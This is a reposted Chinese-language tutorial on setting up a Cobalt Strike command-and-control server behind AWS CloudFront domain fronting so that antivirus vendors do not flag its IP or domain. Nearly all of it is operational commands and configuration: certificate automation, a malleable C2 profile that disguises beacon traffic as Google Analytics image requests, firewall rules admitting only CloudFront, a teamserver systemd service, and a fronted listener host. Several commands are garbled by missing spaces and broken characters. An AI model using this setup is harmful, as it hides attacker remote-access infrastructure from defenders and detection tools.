平時在滲透中我們經(jīng)常會遇到這樣的情況:上傳一個遠控到windows上,馬上就被殺毒給殺了,
然后殺毒給樣本自動上傳到云中心,過一次去查會會ip或域名已經(jīng)被標記為惡意ip或遠控ip,那么有沒有方法來避免這樣的情況呢?
答案是的,我們可以將cs的連接信息加密和主機頭部也不會暴露cs的連接域名。
一、申請域名
在域名注冊商申請一個域名,對后綴無特殊要求,某些注冊一個x.com
二、解析域名
用域名注冊商自帶的解析也行,此處用的是免費的cloudflare,把一個二級子域名解析到服務(wù)端的ip上面,改為test.x.com用A記錄解析到192.168.1.1
三、申請域名證書
此處用的是acme.sh,用DNS api申請了一個通配符證書,怎么申請請看acme.sh Wiki(https://github.com/acmesh-official/acme.sh/wiki/dnsapi),目前acme .sh總支持110個DNS API。
用cloudfalreapi申請通配符證書:
exportCF_Token="sdfsdfsdfljlbjkljlkjsdfoiwje"
acme.sh--issue --dns dns_cf -d x.com -d '*.x.com'
安裝證書并自動轉(zhuǎn)換域名證書類型和重啟cs服務(wù)端:
acme.sh--installcert -d x.com
--keypath/usr/local/ssl/x.com.key
--fullchainpath/usr/local/ssl/x.com.cer
--reloadcmd"openssl pkcs12 -export -in /usr/local/ssl/x.com.cer
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12
-passoutpass:123456
&&systemctlrestart cobaltstrike.service"
安裝完成之后acme.sh會每天檢查證書過期時間,大概在還有一個月過期的時候acme.sh會自動簽發(fā)證書并執(zhí)行安裝命令reloadcmd
四、轉(zhuǎn)換域名證書類型
cs服務(wù)端只認識p12類型的證書,如果用acme.sh申請的話可以調(diào)用命令自動化轉(zhuǎn)換域名證書
opensslpkcs12 -export -in /usr/local/ssl/x.com.cer
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12
-passoutpass:123456
五、申請AWS CloudFront
注冊一個亞馬遜賬號,綁定支持visa,mastcard等支付的***并通過審核,不支持銀聯(lián)***,需要注意的是aws是后述模式
注冊好了之后訪問https://console.aws.amazon.com/cloudfront/home,申請一個cloudfront
申請過程中需要注意的地方:


創(chuàng)建完成之后aws會分配一個xxx.cloudfront.net的域名到賬號下面,記錄下這個域名,之后會用到。
cloudfront不是免費的,可以了解下價格:
傳出價格:

預期價格:

以及其他收費:

六、修改C2簡介
簡介內(nèi)容如下:
# makeour C2 look like a google Web Bug
#https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
#Author: @armitagehacker
setuseragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko";
http-get{
set uri "/__utm.gif";
client {
parameter "utmac""UA-2202604-2";
parameter "utmcn""1";
parameter "utmcs""ISO-8859-1";
parameter "utmsr""1280x1024";
parameter "utmsc""32-bit";
parameter "utmul""en-US";
header "Host""*.cloudfront.net"; # 這里需要修改
metadata {
netbIOS;
prepend "__utma";
parameter"utmcc";
}
}
server {
header "Content-Type""image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 6101 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 0401 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 0201 44 00 3b
prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post{
set uri "/___utm.gif";
client {
header "Content-Type""Application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter"utmac";
}
parameter "utmcn""1";
parameter "utmcs""ISO-8859-1";
parameter "utmsr""1280x1024";
parameter "utmsc""32-bit";
parameter "utmul""en-US";
header "Host""*.cloudfront.net"; # 這里需要修改
output {
print;
}
}
server {
header "Content-Type""image/gif";
output {
prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
# dressup the staging process too
http-stager{
server {
header "Content-Type""image/gif";
}
}
https-certificate{
set keystore "keystore.store";
set password "123456"; # 這里需要修改
}
修改好之后放到cs服務(wù)端同一個目錄下面
七、防火墻配置
根據(jù)aws提供的ip列表(https://ip-ranges.amazonaws.com/ip-ranges.json)選擇出cloudfrant ip段,加入ipset列表

然后iptables調(diào)用ipset設(shè)置僅允許aws cloudfront ip可以80、443回源

最后新加規(guī)則,僅允許特定ip可以訪問cs的管理端口

最后的iptables規(guī)則文件應該是這樣的:

如果是debian發(fā)行版可以利用網(wǎng)絡(luò)啟動腳本進行ipset和iptables的重載

cat >/etc/network/if-pre-up.d/iptables<<EOF
#!/bin/bash
/sbin/ipsetrestore < /etc/ipset.rules
/sbin/iptables-restore< /etc/iptables.up.rules
/sbin/ip6tables-restore< /etc/ip6tables.up.rules
EOF
chmod +x/etc/network/if-pre-up.d/iptables
八、啟動服務(wù)端
cd到相應目錄,軟連接之前申請的證書
ln -s cobaltstrike.store /usr/local/ssl/x.com.p12
修改teamserver端口和防火墻對應
配置systemd啟動服務(wù),下面配置自行替換ip和passwd
cat > /etc/systemd/system/cobaltstrike.service <<EOF
[Unit]
Description=cobalstrike service
After=network.target
[Service]
ExecStart=/usr/local/cobaltstrike4/teamserver ip passwd/usr/local/cobaltstrike4/c2.profile
WorkingDirectory=/usr/local/cobaltstrike4
Restart=on-failure
RestartSec=5s
ProtectHome=true
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
systemctl start cobaltstrike.service # 啟動服務(wù)
systemctl status cobaltstrike.service # 查看服務(wù)
如果正常可以加入開機自啟動
systemctl enable cobaltstrike.service
九,啟動客戶端
在bat啟動文件里加入-DsocksProxyHost = 127.0.0.1 -DsocksProxyPort = 10808,通過代理連接服務(wù)端

新增一個偵聽器,HTTPS主機填入其他支持cloudfront的域名,稱為cdn1.safmc.net,更多的可以自己收集

HTTPS主機(Stager)填充剛才申請到的cloudfront域名

然后就可以按照正常的方式使用cs,如果抓包會發(fā)現(xiàn)使用了tls加密,只有主機頭部和cloudfront.net可以看到,而主機頭是cdn1.safmc.net,而不是前面申請的域名測試。 x.com
作者:Jdicsp
轉(zhuǎn)載自:https://www.freebuf.com/articles/network/240649.html